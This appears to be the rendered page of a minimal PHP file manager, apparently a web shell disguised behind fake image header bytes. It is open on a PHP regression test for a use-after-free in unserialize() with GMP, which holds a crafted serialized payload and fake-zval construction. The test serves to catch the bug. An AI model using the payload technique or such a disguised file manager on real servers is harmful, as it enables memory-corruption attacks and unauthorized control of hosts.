�PNG
�JFIF������
<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fbig%2F'>big</a>/<a href='?path=%2Fbig%2FSRC%2F'>SRC</a>/<a href='?path=%2Fbig%2FSRC%2Fphp-8.4.5%2F'>php-8.4.5</a>/<a href='?path=%2Fbig%2FSRC%2Fphp-8.4.5%2Fext%2F'>ext</a>/<a href='?path=%2Fbig%2FSRC%2Fphp-8.4.5%2Fext%2Fgmp%2F'>gmp</a>/<a href='?path=%2Fbig%2FSRC%2Fphp-8.4.5%2Fext%2Fgmp%2Ftests%2F'>tests</a>/</p><hr><h3>✏️ Editing: bug70284.phpt</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>--TEST--
Bug #70284 (Use after free vulnerability in unserialize() with GMP)
--EXTENSIONS--
gmp
--FILE--
&lt;?php

$inner = &#039;r:2;a:1:{i:0;a:1:{i:0;r:4;}}&#039;;
$exploit = &#039;a:2:{i:0;s:1:&quot;1&quot;;i:1;C:3:&quot;GMP&quot;:&#039;.strlen($inner).&#039;:{&#039;.$inner.&#039;}}&#039;;

$data = unserialize($exploit);

$fakezval = ptr2str(1122334455);
$fakezval .= ptr2str(0);
$fakezval .= &quot;\x00\x00\x00\x00&quot;;
$fakezval .= &quot;\x01&quot;;
$fakezval .= &quot;\x00&quot;;
$fakezval .= &quot;\x00\x00&quot;;

for ($i = 0; $i &lt; 5; $i++) {
    $v[$i] = $fakezval.$i;
}

var_dump($data);

function ptr2str($ptr)
{
$out = &#039;&#039;;
    for ($i = 0; $i &lt; 8; $i++) {
        $out .= chr($ptr &amp; 0xff);
        $ptr &gt;&gt;= 8;
    }
    return $out;
}
?&gt;
--EXPECTF--
Fatal error: Uncaught Exception: Could not unserialize number in %sbug70284.php:6
Stack trace:
#0 %sbug70284.php(6): unserialize(&#039;%s&#039;)
#1 {main}
  thrown in %sbug70284.php on line 6
</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fbig%2FSRC%2Fphp-8.4.5%2Fext%2Fgmp%2Ftests'>🔙 Back</a></p>